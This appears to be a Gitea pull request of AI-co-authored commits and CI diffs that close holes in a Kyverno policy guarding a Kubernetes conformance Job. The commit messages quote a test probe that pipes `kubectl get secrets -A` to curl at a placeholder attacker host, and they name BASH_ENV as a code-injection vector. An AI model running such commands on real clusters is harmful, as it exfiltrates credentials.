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jakman85andClaude Opus 5 44dbd44333 fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:44:39 -05:00
jakman85andClaude Opus 5 f81967228d docs(decisions-log): the approval-policy check this PR was expected to fail does not exist
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
I was briefed to expect CI to FAIL on an `approval-policy` check, because `conformance/**` is
security-relevant. Measured instead:

  grep -rn approval .gitea/workflows/            -> no match
  branches/main status_check_contexts            -> ['gate / gate (pull_request)']
  commits/<head>/statuses  gate / gate           -> success, "Successful in 1m36s"
                           gate / conformance    -> pending, "Blocked by required conditions"

The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so
this is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy
in CI anywhere in this repo. What blocks the merge is `required_approvals: 1` and the fact that
`gitea-admin` authors every agent PR and cannot self-approve — the control that returned HTTP
405 on PR #12.

Recording it because the PR body and the log entry both asserted the wrong blocker, and this
repo has been burned repeatedly by documentation that described a control nobody measured. A
change to the admission boundary under `conformance/**` is gated by a generic human approval,
not by anything that knows the path is security-relevant; if that is the intent, it is not
implemented.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:21:49 -05:00
jakman85andClaude Opus 5 d3d5f6d8d2 feat(conformance): the in-cluster Job can now run a named commit and get its results out
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:15:25 -05:00
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@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
## The pipeline
```
decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
live now cluster-gated (SKIPS in Phase 0)
```
+9 -33
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@@ -1,7 +1,7 @@
# CLAUDE.md — how work lands in this repo
Read this before doing anything durable. It is the delivery contract for AI coding
sessions and agents. The newest entry in `decisions/` is the current PM handoff and
sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
takes precedence on *what* to work on; this file governs *how* it lands.
## 1. Never push to `main`. Ever.
@@ -48,10 +48,9 @@ reports as `success`, so a green tick is not by itself evidence that anything ra
## 2b. Never infer platform state from this repository
**This repo is not evidence about the live platform.** Neither is the handoff log
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
believed at the time of writing, and both have been confidently wrong for a month at a
stretch.
**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
Both describe what someone believed at the time of writing, and both have been
confidently wrong for a month at a stretch.
On 2026-09-29 the log stated the merge gate was a required status check with a runner
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
@@ -140,32 +139,9 @@ invocations concurrently.
flow. Do not design around committing one — read the expiry from the issuing page and
treat a burnt token as free to retry.
## 7. Before you finish — write a handoff entry, in its OWN file
## 7. Before you finish
Add **one new file**:
decisions/YYYY-MM-DD-<slug>.md <slug> = your branch's last segment
with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
## What changed
## What I verified
## What I did NOT verify
State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
and this repo has already been burned by the difference. All three headings are
**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
Template and full rationale: `decisions/README.md`.
**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
to it. Appending to its tail is what every agent used to do, and because every branch
appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
anything to do with each other. Separate files have nothing to merge, which is the
entire fix. Note that the damage from getting this wrong lands on *other people's*
branches, later, which is why it is a gate stage and not a request.
Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
wording is **stale**, in the same way §1's `git push origin main` wording is stale.
Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
verified, and what you did **not** verify. State gaps plainly — an honest
"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
burned by the difference.
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@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
.DEFAULT_GOAL := help
.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
help: ## Show this help
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,9 +29,6 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
@"$(CI_DIR)render-golden.sh"
decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
@"$(CI_DIR)decisions-log.sh"
l1: ## L1 rendering checks (no cluster; live now)
@"$(CI_DIR)l1.sh"
-1
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@@ -101,7 +101,6 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
|---|---|---|
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
-195
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@@ -1,195 +0,0 @@
#!/usr/bin/env bash
# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
#
# WHY THIS STAGE EXISTS
# ---------------------
# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
#
# #22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
# #20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
# #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
# #18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
# #17 feat/ci-is-the-approver clean — it wrote no handoff entry
#
# Nothing was wrong with any of those changes. The log's storage format serialised work that
# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
# rebases, each invalidating the gate run before it).
#
# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
# disjoint paths and there is nothing to merge. See decisions/README.md.
#
# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
# --------------------------------------------
# The old habit is written into this repo in many places — the runbooks, the muscle memory of
# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
# that quietly re-creates the conflict for every other open branch, and the damage is only
# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
# it gets a guard rather than a paragraph.
#
# WHAT IS ASSERTED
# (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
# Re-pinning is a deliberate, reviewable line in a diff; appending is not.
# (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
# directory sorts chronologically and two agents cannot collide on a filename.
# (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
# filename — a disagreement means a copied template nobody edited.
# (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
# "What changed", "What I verified", "What I did NOT verify". This is the quality floor
# that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
# this repo's recurring failure is a confident report of something nobody measured, and an
# entry with nowhere to write "UNVERIFIED" does not get one written.
#
# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
# add a fail-open surface to a guard whose whole job is to close one.
set -uo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# shellcheck disable=SC1091
source "${CI_DIR}/lib.sh"
set +e # aggregate every problem in one run; do not stop at the first.
cd "$REPO_ROOT"
ARCHIVE="DECISIONS-LOG.md"
PIN="decisions/ARCHIVE.sha256"
rc=0
# ---- (1) the archive is frozen ----------------------------------------------
log "Stage: decisions log (archive frozen + entries well-formed)"
if [ ! -f "$ARCHIVE" ]; then
err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
rc=1
elif [ ! -f "$PIN" ]; then
err "${PIN} is missing, so the archive's integrity cannot be established."
err " If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
rc=1
else
want="$(awk 'NR==1{print $1}' "$PIN")"
got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
if [ "$want" != "$got" ]; then
err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
err " pinned: ${want}"
err " on disk: ${got}"
err ""
err " Every branch that appends to this file's tail conflicts with every other branch that"
err " does, on the same hunk. That is what made four of five open PRs unmergeable on"
err " 2026-09-29, and your commit would re-create it for branches that are not yours."
err ""
err " Write your handoff as its OWN FILE instead:"
err " decisions/\$(date +%F)-<your-branch-slug>.md (see decisions/README.md)"
err " and restore the archive: git checkout -- ${ARCHIVE}"
err ""
err " If the archive genuinely must change (redacting a leaked credential, say), that is a"
err " reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
rc=1
else
ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
fi
fi
# ---- (2)(3)(4) every entry is well-formed ------------------------------------
shopt -s nullglob
entries=( decisions/[0-9]*.md )
shopt -u nullglob
# Zero entries is legitimate only until the first handoff lands; after that the glob always
# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
# CLAUDE.md, not this stage, is what asks for one.
if [ "${#entries[@]}" -eq 0 ]; then
log "no decisions/ entries yet"
fi
REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
for f in "${entries[@]}"; do
base="${f#decisions/}"
# (2) filename
if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
err " Use your branch's last segment as the slug — it is already unique per unit of work."
summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
rc=1
continue
fi
fname_date="${BASH_REMATCH[1]}"
if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
err "${f}: '${fname_date}' is not a real calendar date."
summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
rc=1
continue
fi
# (3) frontmatter
if [ "$(head -1 "$f")" != "---" ]; then
err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
err " See decisions/README.md for the template."
summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
rc=1
continue
fi
fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
missing_keys=()
for k in date branch title; do
grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
done
if [ "${#missing_keys[@]}" -gt 0 ]; then
err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
rc=1
continue
fi
fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
if [ "$fm_date" != "$fname_date" ]; then
err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
err " One of them was copied from a template and not edited; the log's ordering depends on both."
summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
rc=1
continue
fi
# (4) the three required sections, each with a real body
body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
[ -n "$body_start" ] || body_start=1
for want_sec in "${REQUIRED_SECTIONS[@]}"; do
hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
if [ -z "$hdr_line" ]; then
err "${f}: missing the required section '## ${want_sec}'."
err " CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
err " All three are structure here, because the third is the one that gets dropped."
summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
rc=1
continue
fi
# A real body: at least 20 non-blank, non-heading characters before the next '## '.
nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
| tr -d '[:space:]' | wc -c)"
if [ "$nchars" -lt 20 ]; then
err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
err " If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
err " is a valid and useful entry. A blank section is not."
summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
rc=1
fi
done
done
if [ "$rc" -eq 0 ]; then
ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
else
err "decisions log stage FAILED"
fi
exit "$rc"
-17
View File
@@ -108,7 +108,6 @@ summary "## Merge gate (R-TEST-03)"
summary ""
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
run_stage decisions-log "${CI_DIR}/decisions-log.sh"
run_stage lint "${CI_DIR}/lint.sh"
run_stage l0 "${CI_DIR}/l0.sh"
run_stage render-golden "${CI_DIR}/render-golden.sh"
@@ -215,22 +214,6 @@ case "${OUTCOME[gitea-settings]}" in
pass) ok "gitea-settings: green" ;;
esac
# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
# the tree under test and needs no tool or cluster, so there is no environment in which it
# "could not run". A guard against a silent, delayed, misattributed regression must not itself
# have a way to not-run.
case "${OUTCOME[decisions-log]}" in
fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
err " as a defect in the stage itself and block."
summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
BLOCK=1 ;;
pass) ok "decisions-log: green" ;;
esac
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
+1 -8
View File
@@ -42,16 +42,9 @@
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
# that an unwired credential cannot lock the repository.
#
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
# the drift it exists to catch is still undetected.
#
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
# detector sat inert for hours while a token existed and no secret did. The env var below still
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
# the secret that would feed it cannot be created at all.
set -euo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
-130
View File
@@ -1,130 +0,0 @@
#!/usr/bin/env bash
# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
#
# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
# for every other open branch. A guard against a silent regression is itself worth nothing
# unless somebody has watched it reject the thing it claims to reject, so each case below
# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
# as ci/tests/gate-decision.test.sh, one layer down.
set -uo pipefail
REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
PASS=0 FAIL=0
ok() { printf ' ok %s\n' "$*"; PASS=$((PASS+1)); }
bad() { printf ' FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
mk_tree() {
local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
# REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
}
mk_entry() {
cat > "$1" <<ENTRY
---
date: $2
branch: chore/example
title: An example entry
---
## What changed
Enough prose here to clear the twenty-character body floor comfortably.
## What I verified
Enough prose here to clear the twenty-character body floor comfortably.
## What I did NOT verify
Enough prose here to clear the twenty-character body floor comfortably.
ENTRY
}
# run <dir> -> sets RC and OUT
run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
D="${TMP}/t"
echo "== 1. a well-formed tree passes"
mk_tree "$D"; run "$D"
[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
echo
echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
|| bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
|| bad "the message does not say the archive is frozen"
grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
|| bad "the message does not name the remedy"
echo
echo "== 3. a re-pin is a deliberate, accepted act"
mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
echo
echo "== 4. a missing pin is unverifiable, not green"
mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
echo
echo "== 5. entry naming"
for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
[ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
done
mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
echo
echo "== 6. frontmatter"
